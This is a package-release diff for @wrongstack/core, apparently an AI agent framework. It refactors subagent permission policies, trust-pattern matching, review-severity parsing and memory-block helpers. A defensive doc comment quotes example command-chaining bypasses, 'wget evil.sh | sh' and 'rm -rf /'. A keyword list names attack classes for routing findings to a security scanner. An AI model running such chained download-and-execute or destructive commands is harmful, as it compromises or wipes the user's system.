@wrongstack/core 0.298.0 → 0.298.1

package/dist/plugin/index.js

@@ -6915,57 +6915,49 @@ function parseReviewSeverity(text) {
   const result = { critical: 0, high: 0, medium: 0 };
   if (!text) return result;
   for (const level of ["critical", "high", "medium"]) {
-    const countRe = new RegExp(`###\\s*${level}\\s*\\((\\d+)\\)`, "i");
-    const countMatch = text.match(countRe);
+    const countMatch = text.match(new RegExp(`###\\s*${level}\\s*\\((\\d+)\\)`, "i"));
     if (countMatch?.[1]) {
       result[level] = Number.parseInt(countMatch[1], 10);
       continue;
     }
-    const sectionRe = new RegExp(`###\\s*${level}[^\\n]*\\n([\\s\\S]*?)(?=###|$)`, "i");
-    const sectionMatch = text.match(sectionRe);
-    if (sectionMatch?.[1]) {
-      const items = sectionMatch[1].match(/^\s*\d+\.\s/gm);
-      result[level] = items ? items.length : 0;
-    }
+    const section = text.match(
+      new RegExp(`###\\s*${level}[^\\n]*\\n([\\s\\S]*?)(?=###|$)`, "i")
+    )?.[1];
+    result[level] = section?.match(/^\s*\d+\.\s/gm)?.length ?? 0;
   }
   return result;
 }
-var SECURITY_KEYWORDS = [
-  "injection",
-  "xss",
-  "csrf",
-  "ssrf",
-  "sql",
-  "secret",
-  "credential",
-  "password",
-  "api key",
-  "token",
-  "auth",
-  "shell injection",
-  "command injection",
-  "innerhtml",
-  "deserialization",
-  "path traversal",
-  "hardcoded",
-  "privilege",
-  "owasp"
-];
 function decideCascadeAgents(text, severities) {
   const agents = /* @__PURE__ */ new Set();
-  if (severities.critical > 0 || severities.high > 0) {
-    agents.add("bug-hunter");
-  }
-  const lower = text.toLowerCase();
-  const criticalHighRe = /###\s*(?:critical|high)[^\n]*\n([\s\S]*?)(?=###|$)/gi;
-  let section = criticalHighRe.exec(lower);
-  while (section !== null) {
+  if (severities.critical > 0 || severities.high > 0) agents.add("bug-hunter");
+  const securityKeywords = [
+    "injection",
+    "xss",
+    "csrf",
+    "ssrf",
+    "sql",
+    "secret",
+    "credential",
+    "password",
+    "api key",
+    "token",
+    "auth",
+    "shell injection",
+    "command injection",
+    "innerhtml",
+    "deserialization",
+    "path traversal",
+    "hardcoded",
+    "privilege",
+    "owasp"
+  ];
+  const criticalHighSections = text.toLowerCase().matchAll(/###\s*(?:critical|high)[^\n]*\n([\s\S]*?)(?=###|$)/gi);
+  for (const section of criticalHighSections) {
     const body = section[1] ?? "";
-    if (SECURITY_KEYWORDS.some((kw) => body.includes(kw))) {
+    if (securityKeywords.some((keyword) => body.includes(keyword))) {
       agents.add("security-scanner");
       break;
     }
-    section = criticalHighRe.exec(lower);
   }
   return [...agents];
 }
@@ -7058,9 +7050,8 @@ function buildAutoReviewCommand(getConfig, getInFlightCount) {
       "Detects git-tracked file edits and dispatches review subagents",
       "with configurable provider/model/fallback.",
       "",
-      "When a review report contains findings at or above the cascadeOn",
-      "threshold, follow-up agents (security-scanner, bug-hunter) are",
-      "automatically spawned to investigate.",
+      "Reports are persisted and shown as passive notifications.",
+      "They never wake the leader or spawn mutating follow-up agents.",
       "",
       "Commands:",
       "  /auto-review           Show current status and config",
@@ -7075,11 +7066,8 @@ function buildAutoReviewCommand(getConfig, getInFlightCount) {
       "  debounceMs           debounce window (default 15000)",
       "  maxFilesPerBatch     max files per review (default 15)",
       "  maxConcurrentReviews max parallel reviews (default 2)",
-      '  cascadeOn            "off" | "critical" | "high" (default off)',
-      "                       Spawns security-scanner/bug-hunter when",
-      '                       findings reach this severity. "high" fires',
-      '                       on any High+ finding; "critical" only on Critical.',
-      "  maxCascadeDepth      max fix+re-review cycles (default 2, 0=off)"
+      "  cascadeOn            off | critical | high (default off)",
+      "  maxCascadeDepth      max fix+re-review cycles (default 2)"
     ].join("\n"),
     async run(args) {
       const cfg = getConfig();
@@ -7095,7 +7083,6 @@ function buildAutoReviewCommand(getConfig, getInFlightCount) {
         };
       }
       const inFlight = getInFlightCount();
-      const cascadeDesc = cfg.cascadeOn === "off" ? "disabled" : `on ${cfg.cascadeOn}+ \u2192 spawns security-scanner/bug-hunter`;
       return {
         message: [
           `\u{1F4CB} Auto Review \u2014 ${cfg.enabled ? "\u2705 enabled" : "\u23F8\uFE0F  disabled"}`,
@@ -7106,7 +7093,7 @@ function buildAutoReviewCommand(getConfig, getInFlightCount) {
           `  Debounce:       ${cfg.debounceMs} ms`,
           `  Max files:      ${cfg.maxFilesPerBatch}`,
           `  Max parallel:   ${cfg.maxConcurrentReviews}`,
-          `  Cascade:        ${cascadeDesc}`,
+          `  Cascade:        ${cfg.cascadeOn === "off" ? "off" : `on ${cfg.cascadeOn}+ \u2192 spawns security-scanner/bug-hunter`}`,
           `  Max depth:      ${cfg.maxCascadeDepth} re-review cycle(s)`,
           `  In-flight:      ${inFlight} review(s)`,
           "",
@@ -8414,7 +8401,9 @@ function createChimeraPlugin() {
             api.log.info("[chimera] skipped \u2014 changed files already have reviews in progress");
             return;
           }
-          api.log.info(`[chimera] emitted review_needed event (${emittedBundle.files.length} files)`);
+          api.log.info(
+            `[chimera] emitted review_needed event (${emittedBundle.files.length} files)`
+          );
         } catch (err) {
           api.log.warn(`[chimera] session.ended handler failed: ${toErrorMessage(err)}`);
         }

package/dist/plugins/auto-review-plugin.d.ts

@@ -90,17 +90,7 @@ export interface ParsedSeverities {
     high: number;
     medium: number;
 }
-/**
- * Extract Critical/High/Medium finding counts from a Chimera review report.
- *
- * The report format (from llm/chimera-review.md) uses section headers like
- * `### Critical (2)`, `### High (1)`, `### Medium (3)`. We match the count
- * in parentheses. Falls back to counting `1.`, `2.` list-item markers under
- * a severity heading when no `(N)` is present (defensive — the prompt asks
- * for both, but LLMs sometimes omit the count).
- *
- * Returns all-zero when the text doesn't match (clean report or unparseable).
- */
+/** Parse report counts for clean-vs-actionable classification. */
 export declare function parseReviewSeverity(text: string): ParsedSeverities;
 /**
  * Decide which follow-up cascade agents to spawn based on the review text.

package/dist/security/auto-approve-policy.d.ts

@@ -0,0 +1,37 @@
+/**
+ * Auto-approving PermissionPolicy used for subagents. Subagents run
+ * non-interactively under a director — they cannot answer permission
+ * prompts, so a non-YOLO policy on the leader would silently hang the
+ * delegated run on the first sensitive tool call. The user already
+ * authorized the delegation when they invoked the leader; subagents
+ * inherit that authorization automatically.
+ *
+ * Tool defaults of `permission: 'deny'` are still honored (this is a
+ * subagent capability override, not a deny-bypass).
+ *
+ * 2026-06+: Primary decision is now based on declared `Tool.capabilities`
+ * (capability allowlist / denylist model). The legacy name-based DENY set
+ * is kept only for backward compatibility with tools that have not yet
+ * declared capabilities.
+ *
+ * 2026-06-13+: Switched to allowlist-by-default. Only tools with explicitly
+ * allowed capabilities are auto-approved. Everything else is denied.
+ * Default allowed: fs.read, net.outbound (read-only, safe operations).
+ *
+ * Extracted from permission-policy.ts.
+ */
+import type { PermissionDecision, PermissionPolicy, PermissionTrace } from '../types/permission.js';
+import type { Tool } from '../types/tool.js';
+export declare class AutoApprovePermissionPolicy implements PermissionPolicy {
+    private readonly allowedCapabilities;
+    constructor(allowedCapabilities?: readonly string[]);
+    private static isMcpTool;
+    evaluate(tool: Tool): Promise<PermissionDecision>;
+    trust(): Promise<void>;
+    deny(): Promise<void>;
+    denyOnce(): void;
+    allowOnce(): void;
+    explain(tool: Tool): Promise<PermissionTrace>;
+    reload(): Promise<void>;
+}
+//# sourceMappingURL=auto-approve-policy.d.ts.map

package/dist/security/index.js

@@ -2140,7 +2140,68 @@ function isClearlyDestructiveBashCommand(command, projectRoot) {
   return false;
 }
 
-// src/security/permission-policy.ts
+// src/security/auto-approve-policy.ts
+var AutoApprovePermissionPolicy = class _AutoApprovePermissionPolicy {
+  allowedCapabilities;
+  constructor(allowedCapabilities) {
+    this.allowedCapabilities = allowedCapabilities ?? [
+      ToolCapabilities.FS_READ,
+      ToolCapabilities.NET_OUTBOUND
+    ];
+  }
+  static isMcpTool(name) {
+    return name.startsWith("mcp__");
+  }
+  async evaluate(tool) {
+    const caps = tool.capabilities ?? [];
+    const hasAllowedCap = caps.some((c) => this.allowedCapabilities.includes(c));
+    const isMcp = _AutoApprovePermissionPolicy.isMcpTool(tool.name);
+    const mcpProxyAllowed = this.allowedCapabilities.includes(ToolCapabilities.MCP_PROXY);
+    const dangerousNotAllowed = getDangerousCapabilities(tool).filter(
+      (c) => !this.allowedCapabilities.includes(c)
+    );
+    const blocked = tool.permission === "deny" || isMcp && !mcpProxyAllowed || !hasAllowedCap || dangerousNotAllowed.length > 0;
+    if (blocked) {
+      const reason = isMcp && !mcpProxyAllowed ? `MCP tool ${tool.name} is not auto-approved for subagents \u2014 ask the leader to allow mcp.proxy explicitly` : tool.permission === "deny" ? "tool default deny" : dangerousNotAllowed.length > 0 ? `tool requires un-granted dangerous capability (needs: ${dangerousNotAllowed.join(", ")}, allowed: ${this.allowedCapabilities.join(", ")})` : `tool lacks allowed capability (has: ${caps.join(", ") || "none"}, allowed: ${this.allowedCapabilities.join(", ")})`;
+      return {
+        permission: "deny",
+        source: "subagent_guard",
+        reason
+      };
+    }
+    return { permission: "auto", source: "yolo" };
+  }
+  async trust() {
+  }
+  async deny() {
+  }
+  denyOnce() {
+  }
+  allowOnce() {
+  }
+  async explain(tool) {
+    const decision = await this.evaluate(tool);
+    return {
+      toolName: tool.name,
+      subject: null,
+      steps: [
+        {
+          rule: "subagent auto",
+          matched: decision.permission === "auto",
+          decision: decision.permission,
+          source: decision.source,
+          detail: decision.reason ?? `subagent policy: ${decision.permission}`
+        }
+      ],
+      winnerIndex: 0,
+      decision
+    };
+  }
+  async reload() {
+  }
+};
+
+// src/security/permission-helpers.ts
 function matchesTrust(patterns, subject) {
   return patterns.includes(subject) || matchAny(patterns, subject);
 }
@@ -2235,6 +2296,8 @@ function shellCommandReadsSensitivePath(command) {
   }
   return false;
 }
+
+// src/security/permission-policy.ts
 var DefaultPermissionPolicy = class {
   policy = {};
   loaded = false;
@@ -2977,65 +3040,6 @@ var DefaultPermissionPolicy = class {
     return void 0;
   }
 };
-var AutoApprovePermissionPolicy = class _AutoApprovePermissionPolicy {
-  allowedCapabilities;
-  constructor(allowedCapabilities) {
-    this.allowedCapabilities = allowedCapabilities ?? [
-      ToolCapabilities.FS_READ,
-      ToolCapabilities.NET_OUTBOUND
-    ];
-  }
-  static isMcpTool(name) {
-    return name.startsWith("mcp__");
-  }
-  async evaluate(tool) {
-    const caps = tool.capabilities ?? [];
-    const hasAllowedCap = caps.some((c) => this.allowedCapabilities.includes(c));
-    const isMcp = _AutoApprovePermissionPolicy.isMcpTool(tool.name);
-    const mcpProxyAllowed = this.allowedCapabilities.includes(ToolCapabilities.MCP_PROXY);
-    const dangerousNotAllowed = getDangerousCapabilities(tool).filter(
-      (c) => !this.allowedCapabilities.includes(c)
-    );
-    const blocked = tool.permission === "deny" || isMcp && !mcpProxyAllowed || !hasAllowedCap || dangerousNotAllowed.length > 0;
-    if (blocked) {
-      const reason = isMcp && !mcpProxyAllowed ? `MCP tool ${tool.name} is not auto-approved for subagents \u2014 ask the leader to allow mcp.proxy explicitly` : tool.permission === "deny" ? "tool default deny" : dangerousNotAllowed.length > 0 ? `tool requires un-granted dangerous capability (needs: ${dangerousNotAllowed.join(", ")}, allowed: ${this.allowedCapabilities.join(", ")})` : `tool lacks allowed capability (has: ${caps.join(", ") || "none"}, allowed: ${this.allowedCapabilities.join(", ")})`;
-      return {
-        permission: "deny",
-        source: "subagent_guard",
-        reason
-      };
-    }
-    return { permission: "auto", source: "yolo" };
-  }
-  async trust() {
-  }
-  async deny() {
-  }
-  denyOnce() {
-  }
-  allowOnce() {
-  }
-  async explain(tool) {
-    const decision = await this.evaluate(tool);
-    return {
-      toolName: tool.name,
-      subject: null,
-      steps: [
-        {
-          rule: "subagent auto",
-          matched: decision.permission === "auto",
-          decision: decision.permission,
-          source: decision.source,
-          detail: decision.reason ?? `subagent policy: ${decision.permission}`
-        }
-      ],
-      winnerIndex: 0,
-      decision
-    };
-  }
-  async reload() {
-  }
-};
 
 // src/security/readonly-permission-policy.ts
 import * as path4 from "node:path";

package/dist/security/permission-helpers.d.ts

@@ -0,0 +1,93 @@
+/**
+ * Pure helpers for permission policy evaluation — trust-pattern matching,
+ * tool fingerprinting, and sensitive-read detection.
+ *
+ * Extracted from permission-policy.ts. No class state, no I/O.
+ */
+import type { Tool } from '../types/tool.js';
+/**
+ * Match a computed subject against stored trust patterns.
+ *
+ * Exact string equality is checked FIRST, before glob compilation. Subjects are
+ * glob-escaped at the source (`escapeGlobSubject` turns `* ? [ ]` into `\* \? \[
+ * \]`), and a stored "always"-trust pattern is just a prior subject — so for an
+ * identical command the pattern and the subject are byte-for-byte equal. The
+ * glob matcher alone could not confirm that: `compileGlob` does not treat a
+ * backslash as an escape outside character classes, so an escaped `\[`/`\]` is
+ * parsed as a character-class delimiter and a command like `[ -f x ]` or
+ * `grep "[0-9]"` never re-matched its own trust entry — re-prompting forever
+ * even after the user chose "always" (#15). Exact equality is also strictly
+ * tighter than a glob, so this never widens what a pattern authorizes; genuine
+ * wildcard patterns (e.g. a user-authored `git *`) still fall through to glob.
+ */
+export declare function matchesTrust(patterns: string[], subject: string): boolean;
+/**
+ * Match a trust pattern against a shell command line, for ALLOW decisions only
+ * (WS-047).
+ *
+ * `matchesTrust` compiles `*` to `[^/]*`, which crosses `;`, `&` and `|`. On a
+ * path that is right; on a command it means a user who wrote `git *` also
+ * authorized `git status; wget evil.sh | sh`. `matchAnyCommand` stops the
+ * wildcard at shell separators, so the pattern authorizes what it appears to.
+ *
+ * DELIBERATELY NOT used for deny. This matcher is strictly narrower, and
+ * narrowing a deny pattern un-blocks whatever falls outside it: a deny of
+ * `git *` must keep matching `git status; rm -rf /`, because the user's intent
+ * there is "no git-shaped command gets through", not "only well-formed ones".
+ * Narrower is safer for allow and more dangerous for deny — hence two call
+ * sites with two matchers rather than one shared helper that picks.
+ *
+ * Exact equality is kept first for the same reason as `matchesTrust`: a stored
+ * "always" pattern is a prior subject, and glob-escaped brackets do not
+ * round-trip through the compiler (#15).
+ */
+export declare function matchesCommandTrust(patterns: string[], subject: string): boolean;
+/**
+ * True when this tool's permission subject is a shell command line rather than
+ * a path, url, or name — i.e. when the stricter wildcard rules apply.
+ */
+export declare function hasShellSubject(tool: Tool): boolean;
+/**
+ * Reason a persistent "always allow" cannot be recorded for this call, or
+ * `undefined` when it can (WS-046).
+ *
+ * A stored trust pattern is only ever consulted as
+ * `entry.allow && subject && matchesTrust(entry.allow, subject)`. When the tool
+ * produces no subject, that condition can never be true — so `trust()` with the
+ * fallback `pattern: tool.name` writes an entry that is dead on arrival.
+ *
+ * The user experience of that bug is the damaging part. They pick "always
+ * allow", are asked again on the very next identical call, conclude the feature
+ * is broken, and reach for the one thing that does work: a blanket
+ * `{"exec": {"auto": true}}`. A silent no-op does not just fail to help — it
+ * actively trains people into the widest possible grant.
+ *
+ * So the option is refused with a stated reason instead of accepted and
+ * discarded. Exported so a UI can hide the choice rather than offer one that
+ * cannot be honoured.
+ */
+export declare function alwaysAllowUnavailableReason(tool: Tool, input: unknown): string | undefined;
+/**
+ * Fingerprint of the tool fields a permission decision actually depends on
+ * (WS-058).
+ *
+ * The eval cache was keyed on tool NAME plus subject, so a cached verdict
+ * outlived the tool definition it was computed from. `ToolRegistry.wrap()`
+ * replaces a tool in place and is reachable from the plugin API, so a tool
+ * tightened to `permission: 'deny'` mid-session would keep being served the
+ * `auto` decided under its previous definition. The cache check also runs
+ * BEFORE the tool-default-deny branch, so nothing downstream re-checked.
+ *
+ * Including these fields in the key means a redefined tool misses the cache
+ * and is re-evaluated, rather than inheriting a verdict that no longer
+ * describes it. Capabilities are included because the dangerous-capability
+ * branches read them; they are short, sorted lists. The tuple is
+ * JSON-serialized so separators inside a field value (e.g. a `,` or `|`
+ * in a capability string) cannot collide with the delimiters between
+ * fields.
+ */
+export declare function permissionFingerprint(tool: Tool): string;
+export declare function shellCommandLineFromInput(input: unknown): string | undefined;
+export declare function inputPathLooksSensitive(input: unknown): boolean;
+export declare function shellCommandReadsSensitivePath(command: string): boolean;
+//# sourceMappingURL=permission-helpers.d.ts.map

package/dist/security/permission-policy.d.ts

@@ -3,26 +3,8 @@ import type { InputReader } from '../types/input-reader.js';
 import type { PermissionDecision, PermissionPolicy, PermissionTrace } from '../types/permission.js';
 import type { Tool } from '../types/tool.js';
 import { type TrustPolicyDiagnostic } from './permission-policy-schema.js';
-/**
- * Reason a persistent "always allow" cannot be recorded for this call, or
- * `undefined` when it can (WS-046).
- *
- * A stored trust pattern is only ever consulted as
- * `entry.allow && subject && matchesTrust(entry.allow, subject)`. When the tool
- * produces no subject, that condition can never be true — so `trust()` with the
- * fallback `pattern: tool.name` writes an entry that is dead on arrival.
- *
- * The user experience of that bug is the damaging part. They pick "always
- * allow", are asked again on the very next identical call, conclude the feature
- * is broken, and reach for the one thing that does work: a blanket
- * `{"exec": {"auto": true}}`. A silent no-op does not just fail to help — it
- * actively trains people into the widest possible grant.
- *
- * So the option is refused with a stated reason instead of accepted and
- * discarded. Exported so a UI can hide the choice rather than offer one that
- * cannot be honoured.
- */
-export declare function alwaysAllowUnavailableReason(tool: Tool, input: unknown): string | undefined;
+export { AutoApprovePermissionPolicy } from './auto-approve-policy.js';
+export { alwaysAllowUnavailableReason, matchesTrust, matchesCommandTrust, hasShellSubject, permissionFingerprint, shellCommandLineFromInput, inputPathLooksSensitive, shellCommandReadsSensitivePath, } from './permission-helpers.js';
 export interface PermissionPolicyOptions {
     trustFile: string;
     yolo?: boolean | undefined;
@@ -160,36 +142,4 @@ export declare class DefaultPermissionPolicy implements PermissionPolicy {
     explain(tool: Tool, input: unknown, ctx: Context): Promise<PermissionTrace>;
     private findNamespaceEntry;
 }
-/**
- * Auto-approving PermissionPolicy used for subagents. Subagents run
- * non-interactively under a director — they cannot answer permission
- * prompts, so a non-YOLO policy on the leader would silently hang the
- * delegated run on the first sensitive tool call. The user already
- * authorized the delegation when they invoked the leader; subagents
- * inherit that authorization automatically.
- *
- * Tool defaults of `permission: 'deny'` are still honored (this is a
- * subagent capability override, not a deny-bypass).
- *
- * 2026-06+: Primary decision is now based on declared `Tool.capabilities`
- * (capability allowlist / denylist model). The legacy name-based DENY set
- * is kept only for backward compatibility with tools that have not yet
- * declared capabilities.
- *
- * 2026-06-13+: Switched to allowlist-by-default. Only tools with explicitly
- * allowed capabilities are auto-approved. Everything else is denied.
- * Default allowed: fs.read, net.outbound (read-only, safe operations).
- */
-export declare class AutoApprovePermissionPolicy implements PermissionPolicy {
-    private readonly allowedCapabilities;
-    constructor(allowedCapabilities?: readonly string[]);
-    private static isMcpTool;
-    evaluate(tool: Tool): Promise<PermissionDecision>;
-    trust(): Promise<void>;
-    deny(): Promise<void>;
-    denyOnce(): void;
-    allowOnce(): void;
-    explain(tool: Tool): Promise<PermissionTrace>;
-    reload(): Promise<void>;
-}
 //# sourceMappingURL=permission-policy.d.ts.map

package/dist/storage/index.js

@@ -6630,7 +6630,7 @@ var CONFIG_BEHAVIOR_DEFAULTS = {
     // DEFAULT_STATUSLINE_MODE (packages/tui/src/components/settings-picker-model.ts).
     statuslineMode: "minimum",
     thinkingWord: DEFAULT_TUI_THINKING_WORD,
-    showAgentSwarmPanel: true
+    showAgentSwarmPanel: "bottom"
   },
   circuitBreaker: { ...DEFAULT_CIRCUIT_BREAKER_CONFIG },
   modelRuntime: {

package/dist/types/config/autonomy.d.ts

@@ -90,11 +90,10 @@ export interface AutonomyConfig {
      */
     showModelReasoning?: boolean | undefined;
     /**
-     * Show the always-visible AGENT SWARM and todo mission queue panel below
-     * the TUI statusline. The detailed F2 Fleet, F3 Agents, and F6 Todos
-     * monitor overlays remain available independently. Default: true.
+     * Agent swarm panel placement: 'bottom' (lower region), 'sidebar' (right sidebar), or 'off' (hidden).
+     * Backward-compat: legacy boolean values are coerced — true→'bottom', false→'off'. Default: 'bottom'.
      */
-    showAgentSwarmPanel?: boolean | undefined;
+    showAgentSwarmPanel?: 'bottom' | 'sidebar' | 'off' | boolean | undefined;
     /**
      * Persist the TUI prompt input history to disk per project so Up/Down
      * navigation recalls prompts across sessions. Secrets are scrubbed before

package/dist/utils/index.d.ts

@@ -54,4 +54,5 @@ export { isUlid, ulid } from './ulid.js';
 export { DEFAULT_WALK_IGNORE_DIRS, DEFAULT_WALK_IGNORE_SET } from './walk-ignore.js';
 export { buildWin32CmdShimInvocation, type Win32CmdShimInvocation } from './win32-cmd.js';
 export * from './wstack-paths.js';
+export { capSageLines, SAGE_INJECTOR_HEADINGS, splitSageOutputBlock, type SageOutputSplit, } from './sage-output-block.js';
 //# sourceMappingURL=index.d.ts.map

package/dist/utils/index.js

@@ -5396,6 +5396,49 @@ function assertSafeWin32CmdArgs(args) {
 function quoteWin32CmdArg(arg) {
   return `"${arg}"`;
 }
+
+// src/utils/sage-output-block.ts
+var SAGE_INJECTOR_HEADINGS = /* @__PURE__ */ new Set([
+  "--- SAGE: task-aware project knowledge (Memory Injector) ---",
+  "--- SAGE: related project knowledge (Memory Injector) ---"
+]);
+var SAGE_MEMORY_LINE = /^- \[[^\]]+\](?:\[[^\]]+\])* <memory id="[^"]+">.*<\/memory>(?: .*)?$/;
+var SAGE_MEMORY_LINE_TRUNCATED = /^- \[[^\]]+\](?:\[[^\]]+\])* <memory id="[^"]+">.*…$/;
+function splitSageOutputBlock(output) {
+  if (!output.includes("--- SAGE: ")) return { body: output, sageLines: [] };
+  const lines = output.split("\n");
+  for (let sageIdx = lines.length - 1; sageIdx >= 0; sageIdx--) {
+    if (!SAGE_INJECTOR_HEADINGS.has(lines[sageIdx] ?? "")) continue;
+    const candidate = lines.slice(sageIdx);
+    if (candidate.length < 2) continue;
+    const memoryLines = candidate.slice(1).filter((line) => line.trim().length > 0);
+    if (memoryLines.length === 0) continue;
+    const bodyOk = memoryLines.every(
+      (line, index) => SAGE_MEMORY_LINE.test(line) || index === memoryLines.length - 1 && SAGE_MEMORY_LINE_TRUNCATED.test(line)
+    );
+    if (!bodyOk) continue;
+    let end = candidate.length;
+    while (end > 1 && candidate[end - 1].trim().length === 0) end--;
+    return {
+      body: lines.slice(0, sageIdx).join("\n").trimEnd(),
+      sageLines: candidate.slice(0, end)
+    };
+  }
+  return { body: output, sageLines: [] };
+}
+function capSageLines(sageLines, maxChars) {
+  if (sageLines.length < 2) return [];
+  const header = sageLines[0];
+  if (header.length >= maxChars) return [];
+  const out = [header];
+  let used = header.length;
+  for (const line of sageLines.slice(1)) {
+    if (used + 1 + line.length > maxChars) break;
+    out.push(line);
+    used += 1 + line.length;
+  }
+  return out.length > 1 ? out : [];
+}
 export {
   ALLOWED_IMAGE_MEDIA_TYPES,
   COMPLETED_WORK_LEDGER_MARKER,
@@ -5412,6 +5455,7 @@ export {
   PROJECT_IDENTITY_RELATIVE_PATH,
   PROJECT_IDENTITY_VERSION,
   PROJECT_ID_PREFIX,
+  SAGE_INJECTOR_HEADINGS,
   SageCachePragmas,
   TerminalLifecycle,
   WIRE_TOOL_NAME_MAX_LENGTH,
@@ -5435,6 +5479,7 @@ export {
   buildUserContentBlocks,
   buildWin32CmdShimInvocation,
   canonicalProjectRoot,
+  capSageLines,
   checkConnectivity,
   checkUnixSocketPath,
   coerceAgainstSchema,
@@ -5562,6 +5607,7 @@ export {
   simplifyToolDescription,
   sleep,
   slugify2 as slugify,
+  splitSageOutputBlock,
   sqliteCachePragmas,
   startHeapWatchdog,
   startSharedHeapWatchdog,

package/dist/utils/sage-output-block.js

@@ -0,0 +1,48 @@
+// src/utils/sage-output-block.ts
+var SAGE_INJECTOR_HEADINGS = /* @__PURE__ */ new Set([
+  "--- SAGE: task-aware project knowledge (Memory Injector) ---",
+  "--- SAGE: related project knowledge (Memory Injector) ---"
+]);
+var SAGE_MEMORY_LINE = /^- \[[^\]]+\](?:\[[^\]]+\])* <memory id="[^"]+">.*<\/memory>(?: .*)?$/;
+var SAGE_MEMORY_LINE_TRUNCATED = /^- \[[^\]]+\](?:\[[^\]]+\])* <memory id="[^"]+">.*…$/;
+function splitSageOutputBlock(output) {
+  if (!output.includes("--- SAGE: ")) return { body: output, sageLines: [] };
+  const lines = output.split("\n");
+  for (let sageIdx = lines.length - 1; sageIdx >= 0; sageIdx--) {
+    if (!SAGE_INJECTOR_HEADINGS.has(lines[sageIdx] ?? "")) continue;
+    const candidate = lines.slice(sageIdx);
+    if (candidate.length < 2) continue;
+    const memoryLines = candidate.slice(1).filter((line) => line.trim().length > 0);
+    if (memoryLines.length === 0) continue;
+    const bodyOk = memoryLines.every(
+      (line, index) => SAGE_MEMORY_LINE.test(line) || index === memoryLines.length - 1 && SAGE_MEMORY_LINE_TRUNCATED.test(line)
+    );
+    if (!bodyOk) continue;
+    let end = candidate.length;
+    while (end > 1 && candidate[end - 1].trim().length === 0) end--;
+    return {
+      body: lines.slice(0, sageIdx).join("\n").trimEnd(),
+      sageLines: candidate.slice(0, end)
+    };
+  }
+  return { body: output, sageLines: [] };
+}
+function capSageLines(sageLines, maxChars) {
+  if (sageLines.length < 2) return [];
+  const header = sageLines[0];
+  if (header.length >= maxChars) return [];
+  const out = [header];
+  let used = header.length;
+  for (const line of sageLines.slice(1)) {
+    if (used + 1 + line.length > maxChars) break;
+    out.push(line);
+    used += 1 + line.length;
+  }
+  return out.length > 1 ? out : [];
+}
+export {
+  SAGE_INJECTOR_HEADINGS,
+  capSageLines,
+  splitSageOutputBlock
+};
+//# sourceMappingURL=sage-output-block.js.map